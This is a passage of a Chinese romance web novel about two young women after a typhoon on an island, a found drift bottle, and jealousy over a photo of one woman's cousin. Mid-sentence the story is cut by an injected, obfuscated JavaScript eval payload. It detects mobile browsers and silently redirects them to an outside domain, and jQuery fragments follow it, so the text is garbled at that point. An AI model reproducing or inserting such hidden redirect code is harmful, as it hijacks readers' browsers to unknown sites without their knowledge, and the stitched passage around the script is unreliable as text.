天光微亮时，雨彻底停了。


    窗外的风声渐显疲态，不再是要撕碎一切的尖利，倒像是巨兽低吼着退向远方。


    “醒了？”魏云弥的声音带着刚睡醒的沙哑，手指有一下没一下梳拢我的发。


    “繁郁，风暴结束了。”


    我揉了揉惺忪的睡眼，看她按亮手机里的台风路径图。那个白色漩涡果然正朝东北方向移动，边缘的云层在卫星图上淡了些。


    魏云弥将胶带撕裂时，“撕拉”声像濒死的鸟儿扑棱翅翼，尖锐又短促的撕裂鸣叫，带着偃旗息鼓的恍惚。


    天边裂开道灰白的缝，像被撕开的旧棉絮。玻璃上的雨痕未干，经风暴洗过的世界像蒙了层透彻的玻璃，清晰得望见蓝得发脆的天。


    路边歪倒的棕榈树还保持着鞠躬的姿势，几只海鸥落在断枝上。海浪映着澄澈的蓝，温柔地拍打着沙滩，仿佛昨夜的狂暴只是一场幻觉。


    魏云弥撑起身子往窗外看，忽然笑了，眼角眉梢都松快下来：“天马跑了。”


    我跟着她笑，笑着笑着就红了眼眶。


    不是因为后怕，是劫后余生的恍惚里，突然清晰地意识到——我们真的一起熬过了这场风暴。


    她低头吻掉我的眼泪，很轻，带着海风的咸味：“哭什么，该庆祝。”


    “庆祝什么？”


    “庆祝我们还活着，”她捏了捏我的脸，眼底的狡黠又冒了出来，“还能继续做俗人。”


    还能继续长命百岁地烦着对方一辈子。


    岛上的居民已经出来了，有人在捡被吹断的树枝，有人在修补屋顶，远处传来发电机的突突声，像给这座满目疮痍的小岛重新安上了心跳。


    “魏云弥，”我忽然开口，“你说我们算不算共过患难？”


    她挑眉看我：“想讹我？”


    “嗯，”我故意凑近，鼻尖蹭到她的，“按规矩，共过患难是不是该……”


    “该什么？”她抵着我的唇笑。


    “该……”我望着她眼里的光，突然说不出俏皮话，只能老实道，“该一直在一起。”


    她没回答，只是牵起我的手，十指相扣，掌心的温度比昨夜更暖。


    我们的影子被阳光拉得很长，在地上交叠成团，像昨夜墙上那两个在风暴里依偎的剪影。只是这一次，背景是晴日和蓝海。


    晨光里，小岛渐渐苏醒。台风过境后的空气里混着咸湿的清冽草木香，像某种新生的味道。


    台风过境，世界重启。


    我们都在贪恋这劫后余生的片刻温存。


    台风过境后的栖霞屿，像被洗劫过的战场。


    我们沿着海岸线“拾荒”，一边收拾小岛被风暴留下的疮痍和残骸，一边踩着满地的断枝残叶走向北港灯塔。


    沙滩像被巨兽啃噬过，空气中弥漫着海腥味和木头腐烂的气息，到处都是奇形怪状的漂流物——断裂的船桨、缠水草的玻璃瓶，甚至还有半截褪色的救生圈。


    “繁郁！快来看！”魏云弥的声音从远处传来。


    她站在礁石上冲我挥手，沙滩裙的拖尾曳如百合含苞吐萼，像是踏浪而来的宁芙。


    我小跑过去，只见礁石风里卡了个玻璃瓶。瓶身布满划痕，里头蜷着张成团的泛黄纸条。


    “是许愿瓶吗？”我好奇地问。


    她摇摇头，用力拔出瓶塞:“更像漂流瓶。”


    信笺被海风吹得簌簌响，蓝墨字迹边缘已洇开，却依稀可辨:“2018年7月12日，温淑说，栖霞海有她向往的那片蔚蓝。她说要陪我去看遍所有的海。”


    末尾画了个歪歪扭扭的笑脸，墨迹被海水泡得发蓝，像凝固的泪痕。


    我和魏云弥对视一眼，都没说话。礁石上的风带着咸意，吹得纸条边角不停颤动，仿佛在诉说那段被海浪卷走的时光。


    “2018年……”我轻声算着，“正好是七年前。”


    七年时间，足够让一个人的承诺被台风撕碎，让一瓶承载心事的玻璃漂流瓶在海上辗转，最终被另一场风暴抛回这座岛。


    “真浪漫，不知道是谁的思念和承诺，飘了多远。”我轻声说。


    魏云弥将纸条轻轻折好，塞回玻璃瓶，又把它放回礁石的缝隙里，像是在完成一场隐秘的交接。


    “也许等下一场雨来，它会漂去更远的地方。”


    “或者被温淑捡到？”我开玩笑似的接话，心里却有点发涩。


    她却突然牵住我的手，往灯塔的方向走：“我们会和她们不一样。”


    北港灯塔是座红白相间的老建筑，塔尖在台风里被刮掉了一小块漆，露出底下青灰色的砖，像道浅浅的伤疤。但塔身依旧笔直地立在崖边，像一个见证了百年孤独的古稀老人。


    我们沿着灯塔下的石阶坐下，脚下就是被风暴洗过的海面，蓝得发透。浪头轻轻拍着礁石，连声音都变得温顺，和昨夜的咆哮判若两界。


    “你说，写纸条的人现在在哪？”我望着远处的海平面，那里有白色的海鸥掠过，“她和温淑去看遍所有海了吗？”


    魏云弥没直接回答，只是从口袋里掏出个东西递给我。是颗用贝壳磨成的小海星，边缘被打磨得光滑，阳光底下泛着珍珠母的光泽。


    “在沙堆里捡到的，说不定也是哪个游客留下的。”


    我捏着那颗贝壳海星，忽然觉得这座岛像个巨大的收藏盒，装着无数人的心事：未完成的承诺，被遗忘的信物，还有我们昨夜在黑暗里交换的、带着台风气息的吻。


    “繁郁，”魏云弥忽然开口，声音被风吹得很轻，“你说，我们老了之后，会不会也记得这个台风夜？”


    我转头看她，她的侧脸在晨光里透着柔和的轮廓，被风吹乱的发丝粘在唇角，像极了昨夜在应急灯下的模样，又比那时多了几分晴日的明亮。


    “会记得。”我肯定地说，“记得你说要长命百岁地烦我，记得我们贴胶带时踩翻的椅子，记得黑暗里你心跳的声比台风还响。”


    她笑起来，伸手揉乱我的头发：“记性这么好，以后吵架可不准翻旧账。”


    “不翻旧账，”我抓住她的手腕，把贝壳海星塞进她手心，“就记得我们一起熬过风暴，一起看了风暴后的海。”


    远处传来渔船发动的声音，突突地划破海面的平静，大概是第一批恢复作业的渔民。岛上的广播响了，循环播放着台风后的安全提示，间或插一句“船班明日恢复”的通知。


    要离开了啊。


    我心里忽然有点舍不得。舍不得这栋在风暴里庇护过我们的别墅，舍不得沙滩上那些带着故事的漂流物，甚至舍不得昨夜那让人胆战心惊的狂风——正是那场狂暴，让我们把彼此攥得那么紧。


    魏云弥像是看穿了我的心思，忽然站起身，朝着海面大喊:“栖霞屿，我们还会回来的！”


    声音被风吹向远方，惊起一群海鸥，翅膀拍打的声音像是潮水的回音。


    她转头冲我笑，眼底盛着比阳光还亮的光:“听到了吗？它答应了。”


    我也跟着站起来，和她一起望着那片蓝得晃眼的海。海浪依旧在拍岸，灯塔的光在海面上投下一道晃动的银带，像条连接着现在与未来的路。


    也许很多年后，我们真的会再回到这里。那时的北港灯塔或许又掉了几块漆，沙滩上的漂流物换了新的故事，而我们牵着彼此的手，会因为岁月变得更用力。


    那时再捡起某个藏着心事的瓶子，我们会笑着说:“你看，就像我们当年一样。”


    风又起了，这次却很温柔，卷起我们的衣角，也卷起满地阳光。魏云弥的手始终牵着我的，掌心的温度比任何时候都清晰。


    走吧，去赶明天的船。


    我们都知道，这座岛，这场台风，还有这个被爱紧紧裹住的夜晚，会永远留在心里，像那颗贝壳海星一样，在岁月里发着温润的光。


    也许很多年后，我会忘记台风“天马”的风力等级，忘记那些被吹飞的铁皮和断裂的树枝，但永远会记得那个停电的夜晚——黑暗里交叠的呼吸，锁骨上轻如羽毛的吻，还有那句藏在风声里的“我也是”。


    它们像被台风眼收存的秘密，在往后漫长的岁月里，只要想起，就会泛起温暖的涟漪。


    那段乌托邦般的时光，终究是落幕了。


    纵有万般不舍与遗憾，我们终究是要被时间回归那个充满教条的世界。在那里，魏云弥永远是光芒万丈的模样。


    明明近在咫尺，却又像隔着一层薄雾，亲昵里藏着克制，靠近时又透着疏离。


    她从来都不是我一个人的魏云弥。


    模糊的、朦胧的、圆钝的。


    我总是盯着手腕上的那枚心月腕表发呆——它像是那段美好时光的遗落在世间的唯一可触的纪念品。


    玻璃蓝的表盘里银针流转，像极了栖霞屿的海；又似月夜牵引涨落潮汐，藏着某种无言的宿命；恍若那张信笺里，七年过去，在“要去看遍所有的海”晕染的恸哭般蓝黑墨渍。


    八月中旬，暑假濒尾。我和魏云弥正蜷在她家的沙发翻旧相册。


    “繁郁，”她突然合上相册，指尖缠着我发梢泛黄的碎发，“我是你的初恋吗？”


    我浑身一僵，耳根烧得滚烫，半天只从喉咙里挤出来个闷闷的“嗯”。


    在不谙世事、不懂情爱风月的年纪，在发育迟缓的青涩与蹩脚诗歌的海洋里摸索时，我们的相遇本就像一场风暴——猛烈、不可预测，带着势不可挡的力量，将彼此的生命冲刷成崭新的模样。


    “长这么大……就只喜欢过你。”


    说这话时我死死盯着自己交叠的脚尖，没看见她眼底闪过的暗芒。


    直到那本毕业纪念册从她膝头跌落。


    翻开的页面正好是魏云弥的初三合照。她身旁站着个穿芭蕾舞裙的女孩，两人十指紧扣。照片边缘写着一行小字:“给最爱的雅言，愿我们的重逢如迎春花般如期。”


    “这是……？”我的指尖不受控制地发颤。


    魏云弥罕见地沉默了。她抽走纪念


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977142|176505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    册，却拦不住我汹涌的情绪。


    她的睫毛颤了颤，突然伸手将我搂进怀里。这个拥抱比往常都用力，像是要把我揉进骨血里才肯罢休。


    “她叫宋雅言，我的芭蕾舞伴。”她轻叹着开口，“初三那年……她移民加拿大了。”


    我僵硬地任由她抱着，脑海里反复冲撞着那行“最爱”。


    “你们……”


    “都过去了。”她打断我，捧起我的脸认真道，“繁郁，你才是现在的我唯一想要的人。”


    都过去了。


    轻描淡写四个字，却像一盆冰水浇灭了我所有雀跃。


    原来那些我以为独一无二的亲密，她早与别人分享过；那些游刃有余的撩拨、恰到好处的亲密、让我心跳失控的情话，或许只是重复的剧本或台词。


    玻璃蓝的表盘突然变得沉重，压得腕骨生疼。银针无声流转，我忽然想起漂流瓶里那句“要陪我去看遍所有的海”。


    若真如她所说“都过去了”，为何要藏起那本纪念册？为何那个女孩能光明正大地与她十指紧扣，我们却要躲躲藏藏？


    我背过身哽咽，却被她强行摆正身子。魏云弥粗暴地抹去我的泪痕:“吃醋了？”


    “才没有！”我挣扎着要躲，“反正我只是你收集的第二个骷髅标本……”


    她突然咬住我的锁骨，尖锐的痛感让我倒抽冷气。


    “傻子，雅言是我表姐。”


    “骨科禁忌，家族丑闻。”她的笑意不达眼底，透着渗人的森寒，“想要听更恶心的细节吗？”


    我像被按了暂停键的磁带，所有的挣扎和哽咽都卡在喉咙里，只剩下瞳孔因震惊而放大。


    骨科？表姐？那些被我曲解的“最爱”和十指紧扣，瞬间被蒙上了一层令人窒息的灰色。


    魏云弥的指尖还停留在我锁骨的齿痕上，带着点惩罚后的微麻。


    她低头看着我，眼底那点森寒渐渐褪去，取而代之的是一种我从未见过的疲惫，像被潮水反复冲刷的礁石，藏着经年累月的磨损。


    “她确实移民了，也确实是我表姐。”魏云弥扯出一个勉强的笑，“但那段感情……从来都是我的一厢情愿。”


    她忽然站起身走到窗前，阳光透过纱帘照在她身上，勾勒出一道落寞的轮廓，像一副洇了水的素描。


    “繁郁，有些事不是不想告诉你。”她的声音轻得像羽毛拂过心尖，“只是……还没准备好。”


    我的心像被一只无形的手攥紧，酸涩从胸腔腐蚀到四肢。要不是她的“坦白”，我从来都不知道，原来我们之间，还有藏着这么多未说出口的秘密。


    玻璃蓝的表针仍在转动，无声地丈量着我们之间的沉默。我想起漂流瓶里那张泛黄的纸条，忽然懂了——承诺会被时间冲淡，但记忆不会。


    那些她不愿提及的过往，或许正像栖霞屿她不愿提及的台风，在她心里留下了无法愈合的伤痕。


    我走到她身后，轻轻环住她的腰，把脸贴在她的背上。


    “等你想说的时候，我都在。”


    她的身体僵了一瞬，随后慢慢放松，覆盖在我手背上的掌心却凉得像浸过海水。


    “傻瓜。”她的声音带着微不可察的哽咽，“你这样……我会更舍不得放开你。”


    我摇摇头，把她搂得更紧。


    晨光漫进窗时，照片里她们紧握的手在我的脑海里变得清晰而刺眼。一个可怕的念头窜出来——魏云弥的喜欢，或许是有期限的。


    就像她对宋雅言，热烈过，也淡忘过。那么对我呢？这份感情又能持续多久？


    我不清楚。她说那是段无疾而终的爱恋，我不在乎里面藏着多少隐瞒或纠葛，也不在乎她不愿说的过去有多不堪。我在意的从不是她是否有过前任，而是我在她心里，是否只配拥有一段见不得光的感情。


    算了，想这些又有什么用呢。


    能和她在一起，就够了。


    “繁郁，”魏云弥突然开口，声音带着罕见的歉意，“我姑姑……让我去一趟加拿大。”


    我的心猛地一沉，手指无意识地攥紧了她的衣角。加拿大——宋雅言移民的地方。


    “什么时候？”我的声音干涩得不像自己的。


    “后天。”她转过身，吻了吻我的发顶，“等我回来，好不好？”


    我点点头，把脸埋进她的颈窝，深嗅她身上淡淡的白茶香。心里明明有万般疑问，却偏要顾及她的心情压下去，好像不问出口，就能显得我足够体谅，足够大度。


    魏云弥从来都不只是我一个人的魏云弥。


    爱也从来都不是非黑即白的，就像海浪有潮涨潮落，日出有东升西沉。


    我这样安慰自己。


    窗外的树影在夏末的蝉鸣里摇晃，碎光落在地板上，像撒了把星星。


    剩余的假期里，我的星星就要飞往大洋彼岸了。但至少现在，她还在这里，在我触手可及的地方。


    呼吸相抵，心跳共振。


    就够了。